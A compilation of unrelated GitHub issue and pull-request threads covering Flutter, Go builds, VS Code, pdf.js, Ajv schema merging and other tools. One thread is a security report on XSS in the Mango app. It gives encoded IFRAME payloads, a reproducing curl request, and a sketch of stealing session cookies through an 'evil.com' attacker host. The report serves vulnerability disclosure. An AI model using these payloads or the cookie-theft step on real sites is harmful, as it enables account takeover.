I'm worried that not calling the callback immediately on unrecognized channels could cause apps to hang. Currently, if there is no plugin that handles a message call, it will call the callback with null immediately, signalling that there was no handler. Now, the callback will not be called until the ChannelBuffers cache is drained (i.e., not until you receive another call to the same channel).
I can't find an example in the widgets where waiting forever on a platform call might cause the app to hang, however, so this may be an unwarranted fear.


Better go build flags

What this PR does / why we need it:

-mod=readonly will cause build to fail in case when there is need to
make modifications in go.mod (e.g. on CI)
-trimpath will drop build prefixes from resulted debug metadata
microscopic cleanup go.mod

Which issue(s) this PR fixes (optional, in fixes #<issue number> format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Optional Release Note:

NONE

/approve
/LGTM


Using VS code with android or IOS phone

Issue Type: Feature Request
Hello, everyone.
I want to ask you to have VS code for phone.
VS Code version: Code 1.43.0 (78a4c91400152c0f27ba4d363eb56d2835f9903a, 2020-03-09T19:44:52.965Z)
OS version: Linux x64 5.3.0-40-generic

You can try https://visualstudio.microsoft.com/services/visual-studio-online/


Add support for arbitrary docker options

CC @tnachen.
See #746, #747, #748.

any update on how this could be achieved as of current versions ?
Thanks

Any suggestion on how we can use --volumes-from  , is this feature available ? If so which marathon version and any documentation on this ?


Install Remote Development Extension Package offline doesn't work.

System Version
Version: 1.35.0-insider (user setup)
Commit: a5536b8f5a16a10d859f3dec1e59701671bf069e
Date: 2019-05-20T05:17:36.269Z
Electron: 3.1.8
Chrome: 66.0.3359.181
Node.js: 10.2.0
V8: 6.6.346.32
OS: Windows_NT x64 6.1.7601
Steps to Reproduce:

Install VSCode Insider.
Install From VSIX and select Remote Development Extension Package vsix file.
It shows an unkown error occured.

Expecting:
Extension Installed.
Actual
Unkown error occured windown prompt.
In fact, I use the same OS and Same binary, with internet online, all things go well. With offline, it doesn't work.

@alexr00  AnyUpdate Yet?

Duplicate of #74126

/duplicate


[Bug Report] Security issue XSS in error parameter

Describe the bug
In the Error entrypoint at /admin/user/edit?error=error message there is a lack of proper string sanitation allowing for an XSS (Cross Site Scripting) attack.
While working on testing the https://github.com/NeuraLegion/sec_tester shard by integration to multiple projects I've found that there was a High severity issue in that parameter.
To Reproduce
Steps to reproduce the behavior:

Go to /admin/user/edit?error=error message
Change the error message to %3CIFRAME+onMouseOver%3Dalert%28298311%29+src%3D%22javascript%3Aalert%28298311%29%3B%22%3E%3C%2FIFRAME%3E
This will pop-up the alert message 298311
Example Screen:

Expected behavior
The alert shouldn't be raised and the user should either not be allowed to control the error message, or if this is needed then string sanitation to remove all non alphanumeric values should be added.
Docker (if you are running Mango in a Docker container)

The standard file using latest docker.

Additional context
There were other Low severity issues found and I haven't really covered much of the application with the tests, It might be worth to make a bigger scope check

Oops that's bad! I will do a bug fix release soon. Thanks for catching this!

@hkalexling thanks for tackling that quickly! :tada:
I'm broadning the scope of my tests, do you want additional findings as new issues or as comments here?

Thanks! It would be great if you could update the issue for any additional XSS vulnerabilities and create new tickets for other security issues.
Oh, I didn't know it's a thing! I will look into it. By the way, I think the severity of this particular vulnerability is not high - the only way for it to work is for the attacker to craft the URL and trick the victim into opening it. Or maybe I am missing something?

The attack is a client side attack but is definitely on the high severity side.
Using simple check out the new hidden manga bundled with mango! Just go to: yourdomain/path/with/evil/script
And make the script call a remote attacker server with evil.com?url=document.location&cookie=document.cookies
Because the attack builds on yourdomain it's very trustworthy and users usually ignore the usual signs for phishing (it's my site, it's safe).
Meanwhile attacker gets admin access by using the session cookie.
So in large yes, it's client side, but it's easy to weaponize and has high impact.
I hope my explanation makes sense :)

Yeah I agreed. I didn't think about the psychological aspect of that, and it makes total sense. Thanks for your time in checking and explaining this, really appreciate it!

@hkalexling Seems the username param is also vulnerable:
curl -i -H 'Referer:http://<IP_ADDRESS>:9000/admin/user' -H 'cookie:mango-sessid-9000=c7a43472238bd067d7aebe0cb405b4ce--fd270bcd2a710276437daad26aa97385e6a92eec' -H 'User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H 'Accept-Encoding:identity' -H 'Content-Length:0' 'http://<IP_ADDRESS>:9000/admin/user/edit?username=--%3E%3CIFRAME+onMouseOver%3Dalert%28252919%29+src%3D%22javascript%3Aalert%28252919%29%3B%22%3E%3C%2FIFRAME%3E&admin=true'

url: http://<IP_ADDRESS>:9000/admin/user/edit?username=--%3E%3CIFRAME+onMouseOver%3Dalert%28252919%29+src%3D%22javascript%3Aalert%28252919%29%3B%22%3E%3C%2FIFRAME%3E&admin=true
POC:


styl+css tech module

Add styl+css tech module that will generate .css file with with mixed .styl and .css imports on bem build.

already landed


Remove page styles and scripts?

It's not clear to me why we should keep them. If someone wants to add custom CSS and scripts, they should do so in the HTML file.
What do you think @naehrstoff?

To be clear: I mean the styles and scripts which are configured via Catalog.start()

We have used them in projects where it was important to add certain styles to one Catalog page only, but not the others. Also, the reason scripts are in there, is that we need to make sure that Catalog is properly loaded and ready before other scripts can be run (e.g. if they expect DOM elements to be there).
In summary:

Not sure we need the styles, but we have used them
We need a way to run scripts only after Catalog has rendered. If it is done this way or in a better way doesn't really matter that much, as long as it works :)

I left them in there but I think we can revisit this in the future.


MWPW-154981: adds a new Created Date option to details text

Per request in ticket MWPW-154981 we added a new option to the Details text in the caas configurator
Before:

After:

Resolves: MWPW-154981
Test URLs:

Before: https://main--milo--adobecom.hlx.page/tools/caas
After: https://mwpw-154981--milo--adobecom.hlx.page/tools/caas

Skipped merging 2685: MWPW-154981: adds a new Created Date option to details text due to failing checks

Lighthouse scores are not relevant for this PR.


Some charcters are not displayed, while rendering using pdf.js

issue.pdf
Issue occurs in all browsers
PDF.js version: 2.2.228
Steps to reproduce the problem:

Download the file attached
2.View the file using pdf viewer

Please check and give a solution.

When opening an issue, you need to provide all of the information requested in https://github.com/mozilla/pdf.js/blob/master/.github/ISSUE_TEMPLATE.md
Most likely you're not providing the necessary CMap parameters when calling getDocument, see https://github.com/mozilla/pdf.js/blob/4729fdc0e930154c9e4c4688b6239ed4708f0e5e/src/display/api.js#L121-L124


CSS child selector

Using the child selector > in the Custom CSS does not work as expected. It appears to get parsed into the HTML entity > during export to HTML.

Hey @stezmi
Ok, this sounds similar to the pre/code issue. Probably my "pre-processing". Will also check on that.
Cheers


Getting error "should pass "$merge" keyword validation"

While trying to compile and validate some object against an schema using the $merge keyword, I'm always getting this as an error result:
{
 "errors": [
    {
      "dataPath": "", // <-- Some proper validation error
      "schemaPath":"#/required",
      "params": {
        "missingProperty": "bar"
      },
      "message": "should have required property 'bar'"
    },
    {
     "dataPath": "",  // <--- This always appears
     "schemaPath":"#/$merge",
      "params": {
        "keyword": "$merge"
      },
      "message": "should pass \"$merge\" keyword validation"
    }
  ]
}

The simplest use case can reproduce this:
const Ajv = require('ajv');

let ajv = new Ajv({ v5: true });
require('ajv-merge-patch/keywords/merge')(ajv);

let validate = ajv.compile({
  $merge: {
    source: {
      required: ['bar'],
      properties: {
        bar: {
          type: 'string'
        }
      },
      additionalProperties: true
    },
    'with': {
      properties: {
        foo: {
          type: 'string'
        }
      }
    }
  }
});

// Validate any object
validate({ foo: 42 });
console.log(JSON.stringify(validate.errors));

What am I doing wrong here?
Using<EMAIL_ADDRESS>and<EMAIL_ADDRESS>

For the record, if a just deepmerge both schemas and pass the result into ajv.compile it works as expected.

@nfantone if you mean that the error from $merge keyword is unexpected then this is simply how Ajv works with custom macro keywords (which is what $merge is), because otherwise the absence of such error is very confusing in most cases (you don't see which keyword failed in YOUR schema, you only see the keywords that failed in the generated schema). In case of $merge it may be easier, but in general case it is not. Or do you mean something else?

And if you just deepmerge then there is no $merge keyword in the schema you pass to Ajv.

@epoberezkin Apologies: there must be something I'm not following here.
My common sense led me to believe $merging two schemas would produce the same final output or behave in the same manner as having one complete/full schema, so it is transparent for the client/user. But, apparently, is not?

if you mean that the error from $merge keyword is unexpected then this is simply how Ajv works with custom macro keywords

That sounds like an implementation detail explanation. The fact that the feature was implemented using some useful inner mechanism of the framework should not dictate its final result. What I mean is: why is there a new error being pushed to the errors array if there is none? I'm using the validate.errors array to report back to the client what was wrong with what he sent. Yesterday, I change my JSON schema to include the $merge keyword and all my error responses started including a new, confusing one.

the absence of such error is very confusing in most cases

Really sorry again, but I'm not following you here. How is always including an error stating "should pass \"$merge\" keyword validation" not confusing? It really seems as if it's not giving out any real or useful information.

And if you just deepmerge then there is no $merge keyword in the schema you pass to Ajv.

Sure. I only mentioned that because I thought I could produce the same result using both approaches: $merge and deepmerge.
As I said, I may be off here since I'm not familiar with the inner working of Ajv (or JSON schema, in general). Please, correct me if I seem wrong somewhere.

so it is transparent for the client/user.

The errors that Ajv returns are designed for schema authors/app developers, rather than for the end users. For the schema author it is easier to understand where the error happened with this additional error. The main use case of Ajv is server-side validation where a validation error indicates some application error that should be reported to support/developers.
You can obviously use validation for the purpose of providing some feedback to the end users when they enter some erroneous data in the form. If that is your use case then you have to do post-processing of errors in your app, it's not in the scope of Ajv or this package. $merge keyword is not an isolated case where the error message doesn't make any sense to the end users, and it's quite common among other validators as well.
There is a demand, some plans and ideas (#100) for the generalised processing of Ajv errors to make them suitable for the end users. But it's out of scope for Ajv, it will be a standalone package. For now you just have to write this code in your app, which is much simpler than generalised processing of errors to make them suitable for the end-users.

My common sense led me to believe $merging two schemas would produce the same final output or behave in the same manner as having one complete/full schema

Different schemas will indeed have different errors generated even if they are equivalent. $merge is not some pre-processing feature, it is a schema keyword, so it has its own error.

@epoberezkin So, what you saying is that, in a general sense, two merged schemas are not equivalent to its "complete" counterpart. Because, as I said, apart from common sense and you last comment, this part of the README.md led me to believe otherwise. Or maybe we are using a different interpretation of "equivalent". Their validation processes (which are the sole purpose of using a schema in the first place) in both cases do not behave the same, therefore they are not equivalent.
Anyway, thank you very much for your patience and time on answering my concerns. Really appreciate it!

You're welcome. By "equivalent schemas" I mean "schema with the same validation result in all cases", i.e. pass or fail validation. Errors are not part of JSON-schema spec, they are determined by the validation process (and different equivalent schemas define different process), so they can be different for "equivalent schemas".
The above meaning of "equivalent" can probably be added to readme to make it clearer.

The above meaning of "equivalent" can probably be added to readme to make it clearer.

I'll try to send you a PR soon.
Cheers.

@epoberezkin why don't you add the option keepAllMsgs in ajv.addKeyword({ macro: (s) => s, keepAllMsgs: true, }). If false, behave like it does now, if true behave like @nfantone suggested (like preprocessing the schema).
I know you said:

Different schemas will indeed have different errors generated even if they are equivalent. $merge is not some pre-processing feature, it is a schema keyword, so it has its own error.

but I think it would be very useful in the usecases where $merge and $patch are used and actually when macro keywords are defined in general.

@suricactus what you essentially want is to remove error message for a particular keyword.
It can be done with one line of code:
const errors = validate.errors.filter(e => e.keyword != '$merge');

I don't think there should be an option for something that can be easily achieved outside.
If anywhere, this feature should in ajv-errors package, e.g. null can be used to silently remove the error.